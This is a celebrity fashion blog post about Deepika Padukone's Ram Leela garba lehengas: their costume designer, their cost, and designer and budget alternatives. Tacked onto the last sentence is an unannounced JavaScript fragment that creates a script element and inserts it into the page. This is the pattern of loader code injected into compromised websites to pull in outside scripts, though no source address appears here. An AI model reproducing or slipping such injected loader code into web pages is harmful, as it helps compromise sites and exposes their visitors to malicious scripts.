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Fancy Deepika Padukone’s lehenga’s from Ram Leela?

We’ve are all still spinning to the tunes of Nagada Sang Dhol and Lahu Muh Lagaya. The songs are brilliant but what’s even more appealing is how sexy Deepika Padukone looks in each one of them. The way she spins and twirls and moves around for the special garba dance is out of this world!

We are awestruck with the way Deepika Padukone danced. Rumor has it that the steps were very difficult but Deepika did not give up. While shooting for Nagada Sang Dhol, she had crepe bandages tied to her feet because they were swollen from the excessive practice. Now, that is what we call dedication.

We all loved her moves but what we loved even more were her costumes. Those amazing lehengas! They are all just so pretty. The entire credit goes to Deepika Padukone’s costume designer – Anju Modi. Deepika Padukone’s each costume costed Sanjay Leela Bhansali around 1 – 1.45 lakhs and that is a huge amount. Agreed that they are all cotton lenegas but the amount of detailing done on each is crazy. Every little thing has been worked out and every costume has been matched and coordinated according to the set.

If you want to have such fancy costumes for any upcoming party, you can replicate these lehengas with lot of pain and hard work OR you can buy something which is as similar as that. Designer Anita Dongre, Manish Malhotra and Anju Modi all have such beautiful lehenga sets on sale.

1. Manish Malhotra’s green net raw silk embroidered lehenga would cost you around 1.75 lakhs
2. Anita Dongre’s heavily embellished coral lehenga set would cost you a whopping amount of 2.90 lakhs
3. Anju Modi’s grey and silver kalidar printed cotton lehenga set would cost you just about a lakh

And now, if you’d like some pocket friendly I’ll-probably-wear-it-only-once substitutes, then you can try out Utsav Fashion and Fab India. Their lehengas would cost you any where from 1000 to 6500. Now this is something you wouldn’t mind spending. Right?var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);

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